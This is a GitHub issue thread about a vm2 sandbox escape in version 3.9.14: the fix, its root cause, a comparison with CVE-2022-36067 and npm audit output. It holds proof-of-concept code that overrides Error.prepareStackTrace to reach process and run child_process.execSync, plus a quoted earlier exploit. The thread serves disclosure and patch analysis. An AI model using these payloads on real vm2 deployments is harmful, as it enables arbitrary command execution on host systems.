Closed seongil-wi closed 1 year ago
Thanks for the report.
Hello @patriksimek ,
Could you please open a security advisory for this vulnerability?
@seongil-wi Just opened it. Thank you for reporting the issue. @XmiliaH Thank you for such a quick reaction and the patch.
Fix in release 3.9.15. (See advisory https://github.com/patriksimek/vm2/security/advisories/GHSA-7jxr-cg7f-gpgv)
Nice one @XmiliaH!
Any feedback on the root cause?
Tried other arrangements of the PoC
Error.arguments = (e, frames) => {
frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
};
Error.caller = (e, frames) => {
frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
};
Error.prepareStackTrace = (e, frames) => {
frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
};
First two, produce ''caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them'
Added some print breakpoints, 3.9.14:
=======
transformer.js:182
hasAsync true
transformer.js:183
isAsync false
transformer.js:184
code
Error.prepareStackTrace = (e, frames) => {
frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
};
(async ()=>{}).constructor('return process')()
transformer.js:185
=======
=======
transformer.js:182
hasAsync true
transformer.js:183
isAsync true
transformer.js:184
code (async function anonymous(
) {
return process
})
transformer.js:185
=======
Does it have anything to do with isAsync
and hasAsync
?
Then set BP on localArrayIsArray
in setup-sandbox, shows:
Error.prepareStackTrace
becomes:
(error, sst) => {
if (localArrayIsArray(sst)) {
for (let i=0; i < sst.length; i++) {
const cs = sst[i];
if (typeof cs === 'object' && localReflectGetPrototypeOf(cs) === OriginalCallSite.prototype) {
sst[i] = new CallSite(cs);
}
}
}
return value(error, sst);
}
Line 63 in the sandbox:
// global is originally prototype of host.Object so it can be used to climb up from the sandbox.
if (!localReflectSetPrototypeOf(context, localObject.prototype)) throw localUnexpected();
Is Error, below, missing configuration properties?
Object.defineProperties(global, {
global: {value: global, writable: true, configurable: true, enumerable: true},
globalThis: {value: global, writable: true, configurable: true},
GLOBAL: {value: global, writable: true, configurable: true},
root: {value: global, writable: true, configurable: true},
Error: {value: LocalError}
});
function thisFromOther(other) {
// Note: other@other(unsafe) returns@this(unsafe) throws@this(unsafe)
return thisFromOtherWithFactory(defaultFactory, other);
}
Or currentPrepareStackTrace
?
I see https://github.com/patriksimek/vm2/issues/516
const EvalHandler = {
__proto__: null,
apply(target, thiz, args) {
if (args.length === 0) return undefined;
let code = `${args[0]}`;
try {
code = host.transformAndCheck(null, code, false, false, allowAsync);
} catch (e) {
throw bridge.from(e);
}
return localEval(code);
}
};
Where, host.transformAndCheck(null, code, false, false, allowAsync);
So, isAsync
is false, however, the code is:
async function aa(){
eval("1=1")
}
aa()
vm.js line 93,
function transformAndCheck(args, code, isAsync, isGenerator, allowAsync) {
const ret = transformer(args, code, isAsync, isGenerator, undefined);
checkAsync(allowAsync || !ret.hasAsync);
return ret.code;
}
Produces:
{code: '1=1', hasAsync: false}
Which is allegedly async?
Any feedback on the root cause?
The root cause was that frames
is a host array for newer node versions in case of unhandled async errors. Therefore, the frames
array is now converted to a sandbox object when it is a host object.
First two, produce
''caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them'
This is expected.
Does it have anything to do with
isAsync
andhasAsync
?
It has noting to do with async. It only required an unhandled async exception.
So,
isAsync
is false, however, the code is:async function aa(){ eval("1=1") } aa()
the eval
is only there to throw a syntax error to trigger an unhandled async error in the aa
function.
Does npm audit
command report this vulnerability?
@urbantom Looking at https://github.blog/2021-10-07-github-advisory-database-now-powers-npm-audit/ it should, though I did not test it.
Does anyone have a vulnerable environment to test the npm audit
verification approach? I'll be able to bring my results in the next few days.
@urbantom I just checked. You will get:
npm audit
# npm audit report
vm2 <3.9.15
Severity: critical
vm2 vulnerable to sandbox escape - https://github.com/advisories/GHSA-7jxr-cg7f-gpgv
fix available via `npm audit fix`
node_modules/vm2
1 critical severity vulnerability
To address all issues, run:
npm audit fix
Hi @XmiliaH, I am just curious about how the fix had been done for the pretty same exploit method reported by Oxeye team here - https://www.oxeye.io/resources/vm2-sandbreak-vulnerability-cve-2022-36067 ??
In oxeye team's report also the method for escaping the sandbox was typically same where attacker is using the prepareStackTrace() method to customise the CallStack() with escaping context scenario . I am mentioning the part of exploit here:
`globalThis.Error.prepareStackTrace = function(err, traces) { traces[0].getThis().process.mainModule.require('child_process')
// Here the author is exploiting the fact that CallSite array of stack frames is not sandboxed. Though the author is using one of the method here is getThis(). }`
As you have explained above that time itself we could have fix the in the same way right?
CVE-2022-36067 was different. It used the fact that node does not call the prepareStackTrace
on the Error
object but on the object reachable by globalThis.Error
. In the normal case these two objects are the same but in the mentiond case they changed the Error
object and got around the wrapping of the prepareStackTrace
function done on the Error
object.
This exploit used the fact that in some cases the array passed to the prepareStackTrace
is a host object which was not expected and therefore passed as is into the sandbox.
Hello team, I am Seongil Wi from KAIST in South Korea.
Our research team in KAIST WSP Lab found a sandbox escape bug in vm2@3.9.14.
Since this is a confidential issue, we have sent an e-mail with PoC to the administrators below, so please check it.
Thanks!